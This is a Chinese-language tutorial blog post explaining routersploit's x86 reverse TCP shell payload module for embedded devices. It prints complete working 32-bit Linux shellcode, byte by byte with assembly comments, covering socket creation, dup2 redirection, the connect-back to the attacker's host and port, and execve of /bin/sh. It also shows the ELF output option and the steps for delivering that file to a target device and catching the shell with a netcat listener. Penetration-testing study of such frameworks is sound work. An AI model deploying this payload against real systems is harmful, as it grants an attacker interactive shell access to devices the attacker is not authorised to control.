routersploit 实战:使用 x86/reverse_tcp Payload 生成 X86 架构反向 TCP Shell
2026/9/23 10:59:55 网站建设 项目流程
  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

导读

payloads/x86/reverse_tcp是 routersploit 框架内置的 Payload 生成模块,用于为X86(32 位 Intel/AMD)架构的嵌入式设备生成一条交互式反向 TCP Shell 的原始 Shellcode。本文以该模块的官方文档为主线,完整演示其在rsf.py交互式终端中的使用流程,并深入 reverse_tcp.py 源码逐条拆解 Shellcode 的汇编原理、参数校验规则与三种输出格式(Python / C / ELF),帮助你不仅会"用",更能理解"生成"背后的底层机制。

模块概述:它能做什么

根据官方文档 docs/modules/payloads/x86/reverse_tcp.md 的定义:

Module generates payload that creates interactive tcp reverse shell for X86 architecture.

该模块生成一段可在 X86 架构上执行的 Shellcode:目标设备主动向攻击者监听的地址(lhost)和端口(lport)发起 TCP 连接,连接建立后将标准输入/输出/错误全部重定向到该 TCP 连接上,最终执行/bin/sh,形成一条交互式反向 Shell。

在 routersploit 的模块分类树中,它位于routersploit/modules/payloads/x86/下,与bind_tcp(绑定型正向 Shell)并列,同属于架构相关 Payload 目录(armle / mipsbe / mipsle / x86 / x64 / perl / php / python 等,见 payloads.py 中Architectures的定义)。它通常被用作 Exploit 模块成功利用设备后,配合check/run阶段投递的"后续载荷",也可独立运行获取可嵌入的 Shellcode 字节序列。

快速上手:验证步骤与交互示例

官方文档给出的验证步骤(Verification Steps)如下:

  1. 启动框架:./rsf.py
  2. 加载模块:use payloads/x86/reverse_tcp
  3. 设置回连地址:set lhost 192.168.1.4
  4. 设置回连端口:set lport 4321
  5. 运行run,模块即生成 X86 反向 TCP Shell Payload

对应的完整交互会话(Scenarios)如下:

rsf > use payloads/x86/reverse_tcp rsf (X86 Reverse TCP) > set lhost 192.168.1.4 [+] lhost => 192.168.1.4 rsf (X86 Reverse TCP) > set lport 4321 [+] lport => 4321 rsf (X86 Reverse TCP) > run [*] Running module... [*] Generating payload [+] Building payload for python payload = ( "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" "\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x04\x68" "\x02\x00\x10\xe1\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3" "\x52\x53\x89\xe1\xb0\x0b\xcd\x80" )

默认输出的这段 Python 格式载荷,共 84 字节(示例中lhost=192.168.1.4lport=4321),可以直接复制到 Python 2 中作为payload变量使用,也可以作为 C/ELF 等其他格式的载体。会话中提示符变为rsf (X86 Reverse TCP),表示当前已激活该模块,set命令用于修改模块选项。

模块选项与参数校验

该模块的可用选项由两个 Mixin 组合而来,源码位于 payloads.py:

  • ReverseTCPPayloadMixin(payloads.py#L92-L95)定义了两个核心选项:
    • lhostOptIP类型,回连 IP 地址(Connect-back IP address),默认空字符串,必须显式设置;
    • lportOptPort类型,回连 TCP 端口(Connect-back TCP Port),默认5555
  • ArchitectureSpecificPayload(payloads.py#L151-L165)定义了输出控制选项:
    • outputOptString类型,输出格式,可选elf/c/python,默认python
    • filepathOptString类型,当output=elf时 ELF 文件的写出路径,默认/tmp/<8位随机字符串>(由random_text(8)生成,见 utils.py#L20-L28)。

set命令会触发对应选项类型的校验器(option.py):

  • OptIP.__set__(option.py#L34-L41):仅接受合法的 IPv4 或 IPv6 地址,否则抛出OptionValidationError: Invalid address...。校验底层依赖 utils.py 中的is_ipv4/is_ipv6正则。
  • OptPort.__set__(option.py#L44-L57):必须可转换为整数且满足0 < value <= 65535,否则报错。

因此文档示例中的set lhost 192.168.1.4set lport 4321都是经过严格校验后才生效的。

源码剖析:Shellcode 是如何生成的

模块核心实现位于 reverse_tcp.py 的generate()方法。它首先将用户配置的 IP 与端口编码为二进制字节:

reverse_ip = utils.convert_ip(self.lhost) # "192.168.1.4" -> b"\xc0\xa8\x01\x04" reverse_port = utils.convert_port(self.lport) # 4321 -> b"\x10\xe1"

其中convert_ip将点分十进制 IP 逐段转为字节(utils.py#L60-L70),convert_port将端口格式化为 4 位十六进制并转为 2 字节大端序(utils.py#L73-L81)。可以看到示例输出中的\x68\xc0\xa8\x01\x04(push 192.168.1.4)与\x02\x00\x10\xe1(端口 2 字节10 e1= 4321)正是这两个函数作用的结果——Shellcode 中硬编码的目标地址与端口完全取决于lhost/lport的取值

随后方法返回一段手工编写的 X86 汇编 Shellcode,每一字节都附有对应汇编注释,整体流程分为四个阶段:

阶段一:创建 TCP Socket(sys_socketcall, SYS_SOCKET=1)

b"\x31\xdb" + # xor ebx,ebx b"\xf7\xe3" + # mul ebx b"\x53" + # push ebx b"\x43" + # inc ebx b"\x53" + # push ebx b"\x6a\x02" + # push byte +0x2 b"\x89\xe1" + # mov ecx,esp b"\xb0\x66" + # mov al,0x66 (sys_socketcall) b"\xcd\x80" + # int 0x80 b"\x93" + # xchg eax,ebx

通过int 0x80调用sys_socketcall(0x66),参数ebx=1(SYS_SOCKET),ecx指向[2, 1, 0](AF_INET=2, SOCK_STREAM=1, 0),创建 TCP Socket,返回值(文件描述符)暂存于ebx

阶段二:重定向标准输入/输出/错误(sys_dup2)

b"\x59" + # pop ecx b"\xb0\x3f" + # mov al,0x3f (sys_dup2) b"\xcd\x80" + # int 0x80 b"\x49" + # dec ecx b"\x79\xf9" + # jns 0x11

循环调用sys_dup2(0x3f):把 Socket 文件描述符复制到 2、1、0(stderr、stdout、stdin),循环条件dec ecx; jns从 2 递减到 0。这样后续/bin/sh的输入输出就全部绑定到 TCP 连接上,这是"交互式"的关键。

阶段三:发起 TCP 连接(sys_socketcall, SYS_CONNECT=3)

b"\x68" + reverse_ip + # push ip addr b"\x68\x02\x00" + reverse_port + # push port b"\x89\xe1" + # mov ecx,esp b"\xb0\x66" + # mov al,0x66 (sys_socketcall) b"\x50" + # push eax b"\x51" + # push ecx b"\x53" + # push ebx b"\xb3\x03" + # mov bl,0x3 b"\x89\xe1" + # mov ecx,esp b"\xcd\x80" + # int 0x80

在栈上构造sockaddr_in(端口 + 回连 IP),再次调用sys_socketcall,此时ebx=3(SYS_CONNECT),向lhost:lport发起反向 TCP 连接。

阶段四:执行 /bin/sh(sys_execve)

b"\x52" + # push edx b"\x68\x6e\x2f\x73\x68" + # push n/sh b"\x68\x2f\x2f\x62\x69" + # push //bi b"\x89\xe3" + # mov ebx,esp b"\x52" + # push edx b"\x53" + # push ebx b"\x89\xe1" + # mov ecx,esp b"\xb0\x0b" + # mov al,0xb (execve) b"\xcd\x80" # int 0x80

利用push技巧在栈上构造"//bin/sh"字符串(///等价,同时保证 4 字节对齐且不含\x00),然后调用sys_execve(0xb)执行/bin/sh。由于前面已经完成 dup2 重定向,Shell 的输入输出即为攻击者的 TCP 连接——反向 Shell 建立完成。

需要特别说明:这是一段经典的 32 位 X86 Linux Shellcode(不含任何\x00空字节,便于直接嵌入字符串缓冲区),模块源码的注释中注明其灵感来源于 Metasploit 的 x86 reverse_tcp 模块(authors 字段中列出了原模块作者 Ramon de C Valle、joev 以及 routersploit 移植作者 Marcin Bury)。

输出格式:python / c / elf 三种形态

ArchitectureSpecificPayload.run()(payloads.py#L167-L194)根据output选项分发到三种生成器:

Python 格式(默认)

generate_python(payloads.py#L230-L238)把每个字节格式化为\xNN,每 15 个字节换行拼接成payload = (...)的 Python 字面量。文档示例输出的正是这一格式。

C 格式

设置set output c后,generate_c(payloads.py#L220-L228)会输出unsigned char sh[] = { ... };形式的 C 数组,方便直接嵌入 C 语言 Exploit 或注入程序中。

ELF 格式

设置set output elf后,generate_elf(payloads.py#L196-L218)会把 Shellcode 追加到预置的 X86 ELF 头之后,并回填p_filesz/p_memsz两个程序头字段,生成一个可独立执行的 ELF 文件并写入filepath(默认/tmp/<随机名>)。X86 的 ELF 头模板定义在 payloads.py#L71-L78 的ARCH_ELF_HEADERS中(ELFCLASS32、e_machine=3即 EM_386)。

rsf (X86 Reverse TCP) > set output elf [+] output => elf rsf (X86 Reverse TCP) > set filepath /tmp/x86_rev [+] filepath => /tmp/x86_rev rsf (X86 Reverse TCP) > run [*] Running module... [*] Generating payload [*] Building ELF payload [+] Saving file /tmp/x86_rev

生成后可先在攻击机上启动监听(如nc -lvnp 4321),再把 ELF 投递到目标 X86 设备执行,即可获得反弹 Shell。

测试用例验证

仓库为 payload 生成逻辑提供了单元测试 tests/payloads/x86/test_reverse_tcp.py。测试固定设置lhost=192.168.1.4lport=4321,断言Payload().generate()的输出与预置的 84 字节reverse_tcp常量完全一致,同时该文件中还预置了同参数的 ELF 形态elf_x86_reverse_tcp(ELF 头 + Shellcode),对应generate_elf的拼接逻辑。运行pytest tests/payloads/x86/test_reverse_tcp.py即可复现验证——这也是文档示例输出可被逐字节复现的自动化保证。

小结

  • 使用路径./rsf.pyuse payloads/x86/reverse_tcpset lhost <IP>set lport <PORT>run
  • 核心选项lhost(OptIP,必填)、lport(OptPort,默认 5555)、output(python/c/elf,默认 python)、filepath(ELF 写出路径)。
  • 生成原理:generate() 通过convert_ip/convert_port将参数编码进手工汇编 Shellcode,依次完成 socket → dup2 → connect → execve("/bin/sh") 四个阶段,产出 84 字节无空字节的 X86 Linux Shellcode。
  • 验证方式:test_reverse_tcp.py 提供固定参数的字节级回归测试,可直接运行确认生成结果。

该模块与payloads/x86/bind_tcp(正向绑定 Shell,见 bind_tcp.py)共同构成 X86 架构的两类 TCP Shell 载荷;反向型更适用于目标位于 NAT 之后、无法直接入站的场景,是路由器、摄像头等嵌入式设备渗透测试链路中的常用后续载荷。

  • 网络安全
  • 嵌入式

【免费下载链接】routersploit

Exploitation Framework for Embedded Devices

项目地址:https://gitcode.com/gh_mirrors/ro/routersploit
点击查看免费下载

相关推荐

上一篇:开源项目 `mootdx` 使用教程
下一篇:Awesome Prompts:从提示模板到工程化智能体的完整进化路线图

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询